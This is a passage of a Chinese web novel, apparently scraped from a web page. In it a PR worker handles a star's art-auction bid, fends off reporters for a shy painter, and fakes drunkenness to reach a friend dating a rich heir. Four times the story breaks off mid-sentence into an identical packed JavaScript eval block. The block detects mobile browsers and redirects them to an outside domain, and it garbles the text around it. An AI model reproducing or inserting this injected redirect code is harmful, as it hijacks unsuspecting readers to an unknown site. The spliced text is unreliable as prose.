向宁转了一圈也没找到符合要求的地点,正在想辙,就被身后的人轻轻拍了拍肩膀。 她回身看去,那人比她高出半头,帽子、口罩、墨镜一应俱全,把脸遮得严严实实。 “看你在这里转悠很久了,是没地方坐么?” 那声音听着有些熟悉,向宁结合他的身形和肤色下了判断:“你是枕——” “嘘——” 他将一指竖在唇边,谨慎地向左右看了看,这才冲她点点头道:“不介意的话,可以去我的休息室坐坐。” “谢谢你哦,可惜我去不了,得找个便于观察现场状况的地方待着。”向宁朝况星宸所在的位置扔了个眼神,“喏,工作需要。” “休息室里也能看见会场。”枕安递给她一份拍卖会流程简表,“两个小时都未必能结束,你总不能一直站在这吧?” 他不说还好,一说向宁就觉得腿酸,是得找个地方好好养精蓄锐。 进入休息室,面前果然有两台显示屏。左边是对准拍卖官和大屏的固定机位,右边的画面则由工作人员控制,根据现场状况实时切换。 向宁坐在沙发上随手翻着这次拍卖会的宣传画册,有一搭没一搭地和枕安聊着天,时不时抬头看一眼屏幕。 拍卖官优雅大方,极其善于调动情绪,因而很快就吸引了向宁的注意力,看来接下来的两个小时并不会太枯燥。 随着一次次落锤声响起,流程推进过半,下一件拍品就是枕安的画了。 拍卖官简单介绍了作品信息,柔声道:“Andstartinghereat,十万起拍,onehundredthousand!” “现在是十五万,twohundredthousand,二十五万,三十万……” 起初价格抬得很快,有五六个人先后举牌。价格抬到五十万以后,就只剩下两个人打车轮战了。 “五十五万,六十万,六十五万,有人更高吗,七十万……” 向宁悄悄观察枕安的反应,不料他根本没有反应。尽管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458893|169652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍卖官口中的数字一路飙升,他却依旧面无表情,只管从茶几上的果盘里挑橘子吃。 偶然与向宁目光相撞后,枕安还当她是想吃水果却不好意思主动拿,于是放下叉子,把果盘往她坐的方向推了推,同时因自己一直在吃独食而有些赧然。 “现在是七十五万,到杜先生。有没有人再加一口?” 向宁的注意力冷不防被拉了回去。 杜先生? “好的,八十万,eighthundredthousand,回到况先生。” 右边的显示屏不断切换画面,一会是况星宸,一会是一位西装革履的年轻人。 “现在八十五万,又回到杜先生手上。” 他大约就是况星宸口中打算向祝璋变相行贿的那人了。 向宁咬了一口草莓,语气中不无调侃:“看来这位‘杜先生’真的很喜欢你的画啊,要下血本了。” “他?”枕安不置可否,没有继续说下去。 不过,紧接着那一声冷哼却表明枕安不但认识那人,而且对他持明显的负面态度。 向宁斟酌片刻,觉得接下来这个问题应该不算越界,便放心问道:“他什么来头啊?” “也算是祝家人吧。”枕安顿了顿,又补充一句,“是祝璋姐她父亲的干儿子,听说是当半个亲儿子养大的,叫杜琮。” “喔。” 既然有这一层关系在,也许那一百多万并不是为了行贿,而是一种表态?是为了示好,还是站队? 向宁扭头去看显示屏,价码已经被况星宸叫到了九十万。 “好的,杜先生加到九十五万,回到您手里。” “怎么样,况先生,要不要再加一口,到一百万?要吗?” 拍卖官的声音温柔有力,仿佛带着蛊惑人心的力量。 “再考虑一下?九十五万,现在仍然在杜先生手上。” 况星宸开始表演纠结了。演技丝毫没有进步,便秘的表情在脸上挂了许久,几秒之后终于畅通了,微笑着举起号牌。 “好的,一百万回到况先生。Onemillion,Mr.Kuang!” 杜琮立刻举牌,似乎对这件拍品志在必得。 此刻价格已经被叫到一百零五万,距离他早先讲好的心理价位还有十万空间,况星宸当然不会放过最后一轮表演机会。 他拖了半晌,赶在木锤落定之前猛地举起号牌。 “一百一十万,况先生,回到您手里。”拍卖官嫣然含笑,将目光转向杜琮,“要不要再加一口,一百一十五万,要试试吗?” 摄像机的镜头也对准了杜琮,向宁看着他脸上愈发明显的微笑,忽然产生了一种不祥的预感。 “Alllookingatyou,要再加吗?”拍卖官继续引导,“Youalmostownit.” 几秒等待后,镜头忽然移向况星宸,他这时也意识到了不对,很明显在强装镇定,面部肌肉摆放得非常不自然。 向宁连忙切进蓝牙通话,对他嘱咐道:“注意表情管理,如果对手不再加价,你就拍到想要的画了,必须表现得兴奋一点!苦着张脸算什么?” 显示屏上,况星宸摸了摸蓝牙耳机,硬挤出来一个皮笑肉不笑的表情。 镜头再度切到杜琮,在拍卖官的温柔追问下,他终于摆了摆手,示意不再加价。 他的脸上一直挂着笑容,表情没有大幅度的变化,唯有目光偶尔移动。 直觉混杂着职业嗅觉,使向宁敢于断言——杜琮刚才向况星宸看去的时候,嘴角的微笑分明多了一丝得意的嘲讽。 14. 补救措施 镜头已经切走,向宁看不见况星宸的表情,不知道他处于什么状态,只能连声安抚,想尽量帮他控制情绪。 这次况星宸多半是被杜琮摆了一道,虽然还不清楚原因,但是千万不能当众做出过激举动来,否则不是中了连环计么? 耳机里不断传来况星宸用气声骂出的脏话,夹带着杜琮的整本族谱。 向宁了解他的脾气,这么好面子的人,宁可打肿脸充胖子,也不可能弃车保帅放弃交易,赔完保证金就拉倒。 今天白白损失一百余万,况星宸肯定不会善罢甘休。可他又没能力报复杜琮,八成会迁怒于身边的工作人员,可怜的助理小杨首当其冲,挨打挨骂都是常事了。 更令人头疼的是,况星宸每次心情极差时,不是出去到处乱喝,就是约人四处乱睡。今天被人坑了一把大的,保不齐他还要一脚踏上这两条解压之船呢。 不行,得想想办法。 向宁灵机一动,飞快点开手机日历确认自己的想法。 1月15号,况星宸粉丝后援会的成立纪念日。 五万的距离,一次举牌的距离。 可是,这个理由真的足以说服他吗?这个补救措施带来的微薄红利真的足以平息他的怒气吗? “我还以为杜琮会再加五万呢。”沉默了许久的枕安忽然开口。 “为什么?” “11月5号是祝璋姐的生日,杜琮经常玩这种数字游戏。” 来不及细究这句话背后的八卦信息量了,向宁火速在网上查证了这个日期,同时斩钉截铁地对况星宸说:“再举一次牌!” “什么?”况星宸咬着牙,维持着开口微笑的表情,压低声音道,“我有病啊我?钱多烧的?” 二人争执之际,拍卖官仍在为最后的抬价空间做着努力,正在跟杜琮确认:“确定放弃吗?完全确定吗?差一点就是您的了,现在是况先生的。” “你不差这五万块钱,再举一次!”向宁的语速极快,“回头解释,没时间了!” 与此同时,拍卖官已经开始对杜琮表示遗憾,并准备举起拍卖锤:“OK,感谢您的竞投。一百一十万到况——哦,wait!” 镜头切到况星宸,只见他又一次举起了号牌。 “是要再加一口吗?再加五万?”拍卖官脸上露出意外的喜色,反复确认他的最终意向,“加到一百一十五万,确定吗?刚才已经是您的了,还要再加一口是吗?” 况星宸坚定地点点头。 拍卖锤落下的那一刻,况星宸听到蓝牙耳机里传来向宁平静的声音—— “反正这笔钱是非花不可了,不如让它发挥最大的价值。” 声音极轻,极低,宛若附在他耳边的一句私语。 又或者,她本来就是在自言自语。 况星宸想立刻找她问个明白,刚准备起身,就听到向宁说:“不要提前离场,注意风度。” 于是,起身的准备动作就以一种奇怪的形式,过渡成了调整坐姿的动作。 镜头一切走,况星宸的表情就冷了下来:“解释吧。” 向宁离开休息室,往卫生间的方向走去,走廊很昏暗,时而有人走动。 “你女朋友的生日是几月几号?”她小声问。 “好像是十一月吧,具体几号……”况星宸记不太清,但他知道向宁问这个问题一定意有所指,再联想到当下的处境,不难猜出答案,“五号?” 向宁默认,又问起:“你还记得你的粉丝后援会是哪天成立的吗?” 况星宸懒得回忆了:“不会也是十一月五号吧?” “是一月十五号!”就知道他记不住,“怎么样,明白了吗?” “有点意思,看来我和她还真有缘。” “少说两句吧大哥,现在没有镜头妨碍你玩手机,周围的耳朵倒是数不清呢。” 向宁暂时切出了通话,况星宸也只好收声,摸出手机一看,她已经发来了几串文字消息。 [向宁]小杨拍的视频素材别用公司养的路人号发,剪成vlog,用你自己的号发。 [向宁]回头再补拍一点素材,就说你来参加拍卖会是专程来给粉丝买礼物的,顺便支持一下朋友的艺术事业,将来会以粉丝的名义把这幅画捐赠给规模较大的美术馆。 [况星宸]不是,这礼物也太贵了吧!!! [向宁]抠死你算了,拍两集电视剧不就赚回来了? [况星宸]三集好吧,我不交税的吗?现在又不比以前了。 向宁一贯受不了他卖惨哭穷,趁他看不见狠狠翻了个白眼——装什么装?平时他买一只手表都不止这个价了。 [向宁]给粉丝的礼物嫌贵,给你女朋友总不嫌贵吧?明天就是她的生日了。 况星宸想了想,那画上画的是两只相互依偎的小猫,确实有点情侣间的氛围感,送女朋友挺合适的。 [况星宸]行吧,舍不得孩子套不着狼。 [况星宸]但是那个姓杜的,我不可能就这么放过他!!! [况星宸]这笔钱,我要么踩着他的脑袋挣回来,要么也设个局,让他赔一波更大的! 向宁只敷衍应付他两句,随后在团队群里讲清了后续方案的各项细节,工作人员立刻开始分工准备。 向宁长出一口气,去洗手台边洗了把脸。 嗒,嗒,嗒…… 高跟鞋的声音由远及近,混入了水流声中。 不多时,便有一人路过向宁的身后,慢悠悠走进了里间,留下一股似曾相识的香水味。 向宁才洗过脸,不大睁得开眼睛,睫毛上还挂着水珠,实在看不清来人的长相,朦胧间只觉得眼熟。 镜子里的窈窕身影匆匆而过,长至脚踝的丝绒红裙一看就价值不菲。 向宁很快想起一个名字,片刻后又在心里摇摇头,否定了自己的猜测。 不会是她。这个时候,她应该还在剧组拍戏呢,没理由出现在这里。 向宁擦干了脸,一边回复工作群里的消息一边往回走,渐渐被嘈杂的人声影响,停住了步伐。 奇怪,几分钟前走廊里还安安静静的,现在怎么突然冒出来这么多人? 更奇怪的是,他们居然都围在枕安的休息室门口。有人在左右张望,有人在接打电话,有人在pad上涂涂写写,还有人在静静等待。 向宁走上前去,大声提醒:“不好意思,各位,麻烦让一下。” 众人闻声,果然配合着让出一条通路。 向宁靠在门板上,微笑着问:“各位守在这里是有什么事吗?” 一位年轻女士率先开口:“您好,我是《ART》杂志的专栏记者,请问这里是枕安老师的休息室吗?” 其余几人也不甘落后,纷纷自报家门——除当代艺术报、书画拍卖网、藏品鉴赏杂志等各方面记者以外,竟还有几家大学的社团骨干。 向宁才搞清状况,身后的门就从里面打开了。她没来得及调整重心,直直往后一靠,被枕安揽了一把才站稳。 “原来有人在啊。”众人你看看我,我看看你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458894|169652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “刚才我们敲门没人开,还以为枕安老师不在呢。” 枕安用生硬的语气答道:“你们找错房间了,这里没有什么老师。” 说完,他便握住向宁的手,把她拉进了门内。 向宁回头一看,枕安不知什么时候又戴上了帽子墨镜口罩三件套。 门口几人互相核对了一下房间信息,确认并没有找错,还是那位年轻女士领头道:“不会占用枕安老师很多时间的,我们主要是想针对今天拍卖的结果——” “各位,不好意思。”向宁从裤子口袋里拿出自己的工卡,捂住名字给众人展示了一圈,“星桥娱乐,这里是我们家艺人的休息室。麻烦各位还是再跟信息源确认一下吧,你们要找的……郑?安?确实不在这里。” 众人看到她的工卡,便对这番说辞有七八分相信了。再看她身后那个身材高挑,脸部全副武装的年轻人,的确也有点小牌大耍的十八线艺人做派。于是各自道了几句抱歉打扰,一个接一个离开了。 向宁关上门,晃了晃自己仍被枕安握住的那只手,笑道:“你手劲有点大。” “抱歉。”枕安立即松开手,只是指尖止不住微颤,干脆握紧了拳头,“还有,谢谢。” 他摘下口罩,猛灌了几口热茶,向宁这才发现他的嘴唇有些发白。 “身体不舒服吗?” 枕安摇头否认:“只是……不喜欢和陌生人接触。” 向宁颇感意外:“反应这么大啊……” 这可不像是普通的“不喜欢”造成的。 枕安又倒了一杯茶,小口抿着。 “你回来了,就好很多。” 说完静了两秒,他突然意识到这话容易产生暧昧的误会,忙解释道:“不是,我是说——” “行了,不用打补丁。”向宁失笑,“知道你没有那个意思。” 没有被人误解,枕安觉得自己应该感到开心。可是挤出一个笑容后,他又觉得这个表情并不是自己内心的真实写照。 咚咚咚。 突如其来的敲门声打断了枕安的自我剖析。 向宁拍了拍他的手背以示安抚:“没事,我来挡。” 咚咚咚。 “请问有人在吗?” 门外是一个男生的声音,向宁记得他是刚才和那群记者一起来找枕安的大学生,好像是什么什么艺术社团的副部长。 向宁打开门,露出标准的商业假笑:“同学,还有事吗?” 男生微微倾身,动作介于鞠躬和点头之间:“您好!可能有点冒昧,我就是想问问,房间里那位艺人老师方便给我签个名吗?” 向宁抿了抿嘴,作为难状:“里面那个呀?他可不是什么大明星,只是个练习生,还没正式出道呢,连粉丝都没有。” “没关系没关系!星桥的艺人,不愁以后火不起来,您就让他给我签一个吧。”男生翻开手里的笔记本,“您看,我今天已经集到两个签名了,都是贵公司的艺人。” 纸页翻得飞快,向宁只看清了况星宸的名字,和另一个签名的残影。 她迟疑片刻,接过笔记本,微笑道:“好,不过只给你一个人签哦,可别叫外面那些同学来凑热闹。” “好!”男生一口答应下来。 转身进屋,向宁在他的视线盲区翻开笔记本,找到了刚才没看清的那个签名。 圆滚滚的艺术字,她再熟悉不过的笔迹。 终于能确认了。 高跟鞋,丝绒红裙,似曾相识的香水味。 果然是她。 15. 女人三分醉 巴掌大的笔记本上落着一个熟悉的名字。 星桥娱乐签约艺人,和向宁私交甚笃的年轻女演员,简晓夜。 可是这段时间,她不是应该在横店拍戏吗?什么时候回来的?跟剧组请假了吗?到这来做什么? 许多问题一起涌上心头,却都被一个想法压了下去——算了,回头再找她问问情况。 向宁把笔记本推到枕安面前,翻至空白页,玩笑道:“欧巴,给咱们公司的家族粉签个名吧。” 枕安靠近她轻声征求意见:“签什么?” “随便,现编一个。”向宁略微偏头,附在他耳边说道,“中文名,英文名,游戏ID,都行。” 枕安习惯性用握画笔的姿势拿起了签字笔,愣了一下才调整过来。 拔开笔帽,他犹豫了几秒,猴子捞月一般在大脑里打捞合适的名字,奈何连续几次都捞空了。 时间一秒一秒过得很快,再拖下去就容易惹人怀疑了。 没办法,他只好随便写下一个常用词,笔迹有点潦草,堪堪拼凑成一个稍显牵强的名字。 向宁拿回笔记本,略扫一眼就还给了门外的男生。 “谢谢谢谢!”他迫不及待地去辨认新的签名,磕磕巴巴地念了出来,“佐、匹、克、隆?是英文名的音译吗?” 向宁没想到枕安编的名字这么拗口,只得临场发挥满嘴跑火车的功力:“嗯……艺名嘛,可能也受到了西幻文化的影响,比如厄瑞玻斯、德罗维尔、赫尔弗林什么的……” 男生不疑有他,心满意足地告辞了。 这次关门之前,向宁特意找工作人员要来一块“请勿打扰”的牌子挂在了门外。 可惜还没消停几分钟,刘哥的吐槽电话就打了过来。 “我在人堆里滚了两大圈,这地方根本没有娱记,混艺术圈的那些记者又瞧不上况星宸。拍卖会都快结束了,我连一个采访都没联系到,那小子要是知道了,肯定又得跟我找茬!” “这还不简单?”向宁开展起了忽悠教学,“你就跟他说——有几个娱记见他大手一挥,砸一百多万买了一幅画,所以想针对艺人高额日薪、演唱会门票溢价、天价片酬和灰色税务等问题对他展开一系列采访。你觉得这些话题有舆论风险,帮他把记者全给挡回去了,不就OK了嘛。搞不好他还得谢谢你呢!” 刘哥恍然大悟,挂掉电话便去实践了。 枕安在一旁看着,眼中的惊叹情绪愈发浓郁。 “怎么了?”向宁不解。 “就是觉得,你糊弄起人来还真会对症下药。”枕安慢条斯理说道,“打个补丁——上一句话是百分之百的褒义。只是我这人嘴笨,所以讲的话听起来怪怪的。” 向宁被这呆板又真诚的解释逗笑了,不正经地承认道:“那当然,星桥娱乐全司上下,谁不知道向宁老师是糊弄学概论的金牌讲师?” “老师,您的课程能给外部人员留个旁听名额吗?”枕安规规矩矩地举起手,“我想报名。” “啧。”向宁作恨铁不成钢状,“这孩子,怎么不学好呢?” 枕安低头偷笑一声,喃喃道:“技多不压身嘛……” 说说笑笑间,拍卖会的后半场也很快结束了。 况星宸领着团队的工作人员去补拍vlog素材,向宁难得清闲,不但提前结束了加班计划,还因着帮枕安挡记者的这份人情,受邀去他家蹭了一顿饭。 嗝,还是那么好吃。 晚上回到家里,伺候猫猫吃完饭后,向宁正要联系简晓夜问清自己的疑惑,没想到她的经纪人赵姐先把电话打了过来,声音听起来很是急躁。 “小向,这几天晓夜有跟你联系过吗?” “没有,是出什么状况了吗?” “唉,这可怎么办。”赵姐长吁短叹起来,“她也没跟我讲一声,就擅自从剧组跑了,不知去向。我让人把附近找遍了都没结果,打电话她也不接!我现在正往横店赶呢。” “别急别急,晓夜应该已经回来了,我今天跑活动的时候看到她了。” 向宁简单讲了讲上午和简晓夜擦肩而过的巧合,赵姐先是松一口气,很快又警惕地问道:“当时她身边有没有跟着一个小白脸?” 向宁一愣:“具体是什么样的人呢?” “就是……油头粉面的,西装革履的,看起来挺有钱的人。” 啊? 参加拍卖会的人,大部分不是都这样么? 向宁没有头绪,追问道:“那人叫什么名字呢?我可以找朋友问问。” 赵姐沉默了十几秒才犹豫不决道:“你和晓夜关系好,告诉你倒没什么,但是……可千万别找外人打听啊,传出去不好……” 听了这话,向宁不由心里一沉:“我知道轻重,您说吧。” “那人叫,杜……杜琮?好像是吧,名字怪里怪气的,皮囊倒是不错,很有欺骗性,据说是个富二代。” 向宁重重一哼:“有印象,他也在现场。” 但…… 怎么又是他? 怎么哪哪都有他? 他是专和星桥的人过不去么? 赵姐语气不善道:“这种花花公子,有点钱就爱勾搭女艺人,我早跟晓夜说过,丫就不是一靠谱的人!没辙,我的话不顶用,人家勾勾手指,晓夜就跟着跑了,连戏也扔下不拍了!” 赵姐长篇大论抱怨起来,措辞渐渐让向宁听着很不舒服。 “赵姐,是不是有什么误会?”她忍不住出言维护起自己的朋友来,“我了解晓夜,她不是胡闹的人。” “你呀,就跟她穿一条裤子吧!”赵姐压着不爽的怒火,“既然她回去了,你也找机会帮着劝劝。剧组这边我帮她请了病假,但也糊弄不了太久,一个星期顶天了,这还是看在公司的面子上呢!” 关系到好友的事业,责任重大,向宁不敢踩deadline,硬着头皮承诺道:“我尽量……尽快完成任务。赵姐,你先别告诉她我知道这件事了。” 她知道简晓夜很有主见,高举“为你好”旗帜的爹味规劝只会起到反效果,必须想个曲折迂回的办法,把目的性全部隐去,让她主动来找自己才好。 这一想,就是一整晚。向宁在床上翻来覆去,怎么都睡不着。第二天卡着点走进办公室时,元气满满的麦秋早就到了。 “早啊,向宁姐!” “啊——唔。”她打了个大大的哈欠,“早啊——唔。”又接一个哈欠。 “你怎么脸色这么差啊?周末没休息好吗?”麦秋十分关切,把自己的保温杯递给她,“我这有养生茶,你要不要喝点?” “还休息呢……周末两天都在加班……”向宁把杯子还给麦秋,“谢谢,茶就算了。” 毕竟,她要的就是这种死人脸的视觉效果。 这天正好是11月5号,临下班时,况星宸的拍卖会一日游vlog终于剪完了,配上向宁早就编辑好的微博文案一起发出—— “特殊的价格,重要的日期,温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458895|169652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馨的礼物,送给我爱的人[爱心] LOVEFOR115 LOVEYOUFOREVER” 最后两句之所以用英文写,不过是为了打擦边球。 YOU这个单词,既可以指特定的“你”,用于满足况星宸给祝璋献殷勤的需求,也可以泛指“你们”,粉丝看到后如何感动自不必提。 最重要的是,发完这条微博,向宁终于可以下班了! “小秋,今晚有安排吗?” “没有。” “要不要陪我演场戏?加班费按小时算,我自掏腰包。” “演戏?”麦秋犹豫了,“可是我不会……” “不用你上场,”向宁一把揽过她的肩膀,“做场务就行。” “那行。”两人轻轻击掌,“幕后,我是专业的。” 话虽如此,可是麦秋作为“专业人员”怎么也不会想到,向宁竟然把戏台搭在了公司楼下的酒吧里,表演道具还是货真价实的鸡尾酒。 当然,向宁给她这个小场务点的饮料并不含酒精。 “干杯!” 半小时不到,麦秋那一杯饮料还没喝完,向宁的酒已经续了三次。 还好她已经在喝醉之前把该交代的事情都讲清楚了。 “向宁姐,我不太明白。”麦秋用吸管一下下戳着玻璃杯底,“你不是说公关部不负责预防艺人犯错,只负责收拾烂摊子吗?为什么你还要大费周章去掺和这件事呢?” “你不明白……换了别人,也就算了,可是晓夜……”向宁的声音染上了醉意,“她是我很好,很好的朋友。大学,我们,一个班,一个寝室。她,很好……” “好了好了,少喝点。”麦秋从她手里抢过酒杯放在一旁,“向宁姐,原来你大学读的是表演系啊!那怎么没去拍戏呢?” 向宁眯起眼睛,向前靠了靠,低声道:“因为,我有,很,很重要的,使命。” “啊?”麦秋半信半疑,盯着她微红的双颊问道,“什么使命?” 向宁招招手,让麦秋坐到自己身边来,搭着她的肩膀,将下巴垫在自己的手背上,用气声回答道:“拯救……地球……嘿嘿……还有……” 麦秋被她吹得耳朵发痒,怕她摔着,又不能躲,只好扶着向宁的腰帮她坐正了些,还不敢放开手,无奈道:“都醉成这样了,你确定今晚能顺利执行你的计划吗?” “我,告诉你,老话说得好。”向宁又拿起了酒杯,“女人三分醉,演到你流泪。不,演到晓夜流泪,成,成江水。” “你快放下吧,姐姐。”麦秋又把酒杯夺过来,“你这还三分醉呢?都九分醉了!再喝下去,我就该流泪了!” 向宁见她一脸操碎了心的样子,忍不住噗嗤笑出了声,捂着脸越笑越起劲。半晌,她分开手指,睁眼去观察麦秋的反应。 麦秋原本还在担忧,可是一对上她那双清醒中带着狡黠的眼睛,就知道自己被骗了。 向宁根本没有喝醉。 “怎么样,大学四年的表演功底还在吧?”她捏着麦秋呆若木鸡的脸,“女人一分醉,照样演到你流泪。” “我服了,真服了。”麦秋重重鼓了几声掌,“你要是去拍戏,高低得捧一座小金人回来。” “行了行了,别恭维我。” 向宁清一清嗓子,拿起手机,给简晓夜的私人号码打去了电话。 嘟—— 嘟—— 嘟—— 开演。 16. 丈母娘驾到 “喂,宁宁。”简晓夜的声音很甜。 向宁不答话,只是抽泣,混着周围杂乱低沉的音乐声,让人十分担心。 “怎么了?”简晓夜有点慌神,“怎么哭了?是不是遇到什么麻烦了?” “没有。”向宁的声音含糊不清,“就是,就是想你。” “你在什么地方?”简晓夜下意识揪紧了手边的餐巾,“安全吗?有人陪着你吗?” “我,我在……酒吧,公司,那个,楼下……酒吧,没人陪我……”向宁哭得更厉害了,“煦晗姐,上海,出差……你&*#~横店,没人,没人陪我……” “宁宁,你别急,我不在横店,我回来了。”简晓夜抬起头,给对面的人投去一个道歉的眼神,“别哭,我现在去接你好不好?等我,就半小时。” 匆匆挂掉电话,简晓夜一刻也不敢多耽搁,马上起身穿外套。 “实在抱歉,杜总,我——”她怕朋友的身份不够有说服力,便及时改了称呼,“我姐姐出了点事,我得去看看。” “应该的。”杜琮放下酒杯,“我开车送你吧,顺便也让你姐姐……见见妹夫?” 简晓夜并不愿他跟着,便用关心的语气说道:“你喝酒了,外面查得严呢。” “抿了两口红酒而已,味道都没尝出来,没事的。”说完还习惯性吹起牛来,“再者说,你也不是不知道我们家的背景。就算我真的酒驾了,谁又敢把我怎么样?” “要不,叫你的保镖来开车吧。” 杜琮给她披上外套,附耳笑道:“那多打扰咱们二人世界啊?” 简晓夜急着去接向宁,不想再浪费时间跟他拉扯,只得答应下来。 好在今晚这顿饭连前菜都没上齐,杜琮确实只尝了点酒味,否则她还真不放心带向宁坐他开的车。 简晓夜紧张地捏着自己的手,很凉,出了一层薄汗。 也不知道向宁那边怎么样了。 该死,又堵车。 …… 向宁那边,此刻已经续上了第四杯酒。不是用来喝的,只是道具而已。 她一挂掉电话就收起了眼泪,中场休息嘛,还要留着精力演后半场呢,那才是重头戏。 时间差不多了,终于可以轮到场务发光发热。 麦秋离开酒吧,坐在街边的长凳上,仔细观察着来来往往的车。一看到简晓夜下车,就立马发消息给向宁报信。 收到消息的同时,向宁便开始酝酿情绪。在一分钟之内哭出来?小儿科! 估摸着简晓夜快走进酒吧了,向宁模仿印象里的醉鬼,直接“睡倒”在了面前的桌子上。 不过前后脚的工夫,就有一只手搭上了她的胳膊,试探着摩挲起来。 “美女,喝醉啦?”那人呼吸间喷吐着酒气,“哥哥送你回家,好不好?” 向宁在心里骂了句脏话。 要不是正在等人,她非得对这只不怀好意的癞蛤蟆用点暴力手段。 那人见她毫无反应,大约已经睡死过去,便放大了胆子,手上不干不净地拉扯起来。 很快,他的脸上就出现了一个泛红的巴掌印。 “拿开你的脏手!滚蛋!” 简晓夜打完一巴掌,又用力把他推开,护在了向宁身边。 她堪堪算是三线艺人,并不是家喻户晓的明星,今晚又戴着墨镜和口罩,在灯光昏暗的酒吧里并不担心被人认出来,言谈举止都没太多顾虑。 那人被她打了,还想找回点脸面,厉声吼叫起来:“滚你二大爷的蛋!老子是她男朋友,你算老几!” 简晓夜挽起袖子,双手叉腰,摆出了毕业大戏演曹七巧的刻薄架势,高声道:“你是她男朋友?我是她妈!你也不照照镜子就想傍富婆啊?行,先跪下敬杯请安茶,磕三个响头,叫声丈母娘我听听!” 这一招险些破了向宁酝酿好的情绪,引得店内看热闹的人也发起笑来。 那人本就是个欺软怕硬的草包,此刻终于自觉没脸,悻悻溜了,嘴里还不住地嘟囔着:“疯婆娘……真是疯婆娘……” 简晓夜呸了一声,继而揽腰搭胳膊,架起向宁便往外走。 向宁半眯着眼,看见周围有不少人用手机拍下了这场闹剧。 真好。 希望有人能把视频发在网上。 到时候找个合适的账号加加温,等热度变高以后,再安排路人号“认出”视频里见义勇为的女主角是简晓夜,简直是白送的营销素材嘛。 酒吧门口,简晓夜扶向宁上了车,两人一起在后座坐定。 杜琮本想跟这位“姐姐”打个招呼,见她满脸泪痕,意识仍未清醒,想想还是算了。 “去哪?”他问。 “去我家吧。”简晓夜报了个地址。 “第一次去你家,”杜琮笑吟吟看了眼斜上方的后视镜,“这机会来得没我想象中那么浪漫啊。” 简晓夜打了个哈哈:“你看,今晚这情况……实在特殊,我就不留你喝醒酒汤了。” “没关系,”杜琮收起嘴角的笑意,“以后多的是机会。” 向宁人在装睡,耳朵却一直竖着,在心里跟他呛了好几句。 不过,今晚见到了杜琮本人,也算是个意外收获,至少能给她的后半场戏降点难度,话题引得不至于太过生硬。 车开到目的地时,向宁恰好“悠悠醒转”,醉眼朦胧地跟杜琮道了声谢,才被简晓夜搀扶着上楼去了。 进门以后,向宁被安置在了卧室里,简晓夜把网上搜来的几种解酒方法在她身上试了个遍,直到她看上去清醒多了才罢休。 向宁朝简晓夜的方向滚了一圈,把头枕在她的腿上,轻声问道:“刚才那个人,是你男朋友吗?” 简晓夜头也没抬,淡淡道:“还不算是。” 向宁像是没听见她的答案一样:“你,不仗义!谈恋爱,不告诉我。” “得了吧,能告诉你的,不得是正儿八经有名分的对象啊?他还不够格。”简晓夜低头帮她把糊在脸上的头发理顺,“再说了,你谈过的男朋友里,正式介绍给我的不也只有一个法学男,一个记者哥嘛?” 向宁伸手去戳她的脸:“不要转移话题。” 简晓夜捏住她的手指:“说正经的,你今天到底怎么了?为什么一个人去喝酒?” 向宁的情绪上得很快,泪水马上就盈在眼眶里了:“没什么,就是,工作上的事。” “张洋又给你气受了?” “不是他。就是,况星宸,被人坑了一百多万,就拿我撒气。还有……算了,说了你也不认识。” “别卖关子,赶紧说,到底是谁?” 向宁噘着嘴,怏怏不乐道:“说到底,都怪那个杀千刀的二世祖!叫,杜……杜什么来着?就在嘴边了……” 简晓夜听了这话,再结合况星宸那档子事,怎么会猜不到她说的是谁:“杜琮?” “对!就是他!”向宁一翻身爬起来,支着身子抬头问道,“你认识他啊?” 简晓夜耸耸肩:“刚才开车的那位不就是么?” “他?就是!啊?”向宁假作吃惊状,“晓夜,他可会使坏了!你别和他玩嘛,好不好?” 简晓夜见她说起酒话来像个孩子似的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458896|169652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不由一笑:“如果你说的‘使坏’指的是拍卖会的事,那……是事出有因的。” “什么因?” 简晓夜刚要回答,忽然又改了口:“你先答应我一件事,我再陪你聊八卦。” “什么事?” 简晓夜正色道:“以后除非有值得信任的人陪着,否则不许一个人喝得酩酊大醉,多危险呐?” 